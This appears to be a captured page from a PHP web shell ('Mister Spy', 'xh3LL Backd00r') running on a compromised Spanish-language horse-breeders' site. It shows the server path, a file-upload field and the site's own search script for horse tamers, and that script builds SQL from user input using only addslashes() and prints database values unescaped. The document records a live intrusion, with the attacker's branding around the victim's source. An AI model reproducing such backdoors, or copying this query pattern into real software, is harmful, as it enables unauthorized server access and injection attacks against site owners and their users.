Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/buscar_domador_resultado.php

<?php

require_once("../funcs_email.php");
require_once("../config.php");
require_once('../Connections/cnx.php'); 
require_once("../funcs.php");

mysql_select_db($database_cnx, $cnx);

$DocumentoNumero	= (isset($_REQUEST['DocumentoNumero']))		? strval($_REQUEST['DocumentoNumero']) 		: '';
$Nombre				= (isset($_REQUEST['Nombre']))		? strval($_REQUEST['Nombre']) 		: '';
$Apellido			= (isset($_REQUEST['Apellido']))		? strval($_REQUEST['Apellido']) 		: '';
$Submit				= (isset($_REQUEST['Submitted'])) 	? $_REQUEST['Submitted']	: 0;
$Action				= (isset($_REQUEST['MainAction'])) 	? $_REQUEST['MainAction']	: '';

if ($Submit)
{
	switch ($Action)
	{
		
		case 'Buscar':
				$querySelect = "SELECT p.*";
				$querySelect.= " FROM tblDomadores p";
				$querySelect.= " WHERE 1=0";
				if ($DocumentoNumero && $DocumentoNumero != '')
					$querySelect.= " OR p.DocumentoNumero LIKE '%" . addslashes(trim($DocumentoNumero)) . "%' ";
				if ($Nombre && $Nombre != '')
					$querySelect.= " OR p.Nombre LIKE '%" . addslashes(trim($Nombre)) . "%' ";
				if ($Apellido && $Apellido != '')
					$querySelect.= " OR p.Apellido LIKE '%" . addslashes(trim($Apellido)) . "%' ";
				$querySelect.= " ORDER BY p.Nombre ASC";

				$sqlSelect = mysql_query($querySelect) or die(mysql_error());
			break;
		
		default:
			break;		
	}
}

?>

                                        	<td colspan="3" width="100%" align="center">
                                           	  
                                                <?php if ((isset($sqlSelect)) && (mysql_num_rows($sqlSelect) > 0)){ ?>
                                              <div align="center" style="height:200px; width:100%; overflow:scroll; background-color:#FFFFFF">
                                               	  <table align="left" width="100%" cellpadding="0" cellspacing="0" class="b" >
                                                   	  <tr class="FondoGris" height="20">
                                                       	<td width="10" class="FondoGris">&nbsp;</td>
                                                        <td><div align="left" class="Estilo5">Nombre</div></td>
                                                       	<td width="10" class="FondoGris">&nbsp;</td>
                                                        <td><div align="left" class="Estilo5">Apellido</div></td>
                                                       	<td width="10" class="FondoGris">&nbsp;</td>
                                                        <td><div align="center" class="Estilo5">N&deg; Documento</div></td>
                                                        <td width="5">&nbsp;</td>
                                                        <td width="5">&nbsp;</td>
                                                        <td width="5">&nbsp;</td>
                                                    </tr>
												<?php 
														$MayorId = 0;
													while ($oSocio = mysql_fetch_array($sqlSelect)){ 
												
												?>                                                	
                                                      <tr onclick="$j(this).find('.seleccionador-domador').click();" style="cursor: pointer">
														  <td width="10">&nbsp;</td>
                                                          <td><div align="left"><?=$oSocio['Nombre']?></div></td>
														  <td width="10">&nbsp;</td>
                                                          <td><div align="left"><?=$oSocio['Apellido']?></div></td>
                                                       		<td width="10">&nbsp;</td>
														  <td><div align="center"><?=$oSocio['DocumentoNumero']?></div></td>
                                                          <td width="5">&nbsp;</td>
                                                          <td width="5"><input type="radio" class="seleccionador-domador" style="cursor: pointer" src="images/iconos/check.gif" alt="Seleccionar" title="Seleccionar" data-id="<?= $oSocio['IdDomador'] ?>" data-nombre="<?= $oSocio['Nombre'] . ' ' . $oSocio['Apellido'] ?>" value="1" /></td>
                                                          <td width="5">&nbsp;</td>
                                                      </tr>
												<?php } ?>
                                                		<input type="hidden" name="MayorId" id="MayorId" value="<?=$MayorId?>" />
														<tr>
                                                      	<td>&nbsp;</td>
                                                      </tr>
														<tr>
															<td colspan="10">
																<div style="float: right;">
																	<input type="button" class="botonBasicoSinWidth" value="Agregar Domador" onclick="AgregarDomador()" />
																</div>
															</td>
														</tr>
                                                </table>
                                             </div>
                                                <?php }else{ ?>                                               	
                                               	  <table align="center" width="50%" cellpadding="0" cellspacing="0" class="bordeRojoError" bgcolor="#FFFFFF" >
                                                	  <tr>
                                                      	<td>&nbsp;</td>
                                                      </tr>
                                                      <tr>
                                                      	<td><div align="center" class="Cierre"><b>Atenci&oacute;n:</b></div></td>
                                                      </tr>
                                                      <tr>
                                                          <td><div align="center" class="Cierre">No se han encontrado registros que coincidan con la b&uacute;squeda efectuada. Intente nuevamente. </div></td>
                                                      </tr>
                                                      <tr>
                                                      	<td>&nbsp;</td>
                                                      </tr>
														<tr>
															<td colspan="10">
																<div style="float: right;">
																	<input type="button" class="botonBasicoSinWidth" value="Agregar Domador" onclick="AgregarDomador()" />
																</div>
															</td>
														</tr>
                                                  </table>
                                                <?php } ?>                                                  
                                            </td>
                                        

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat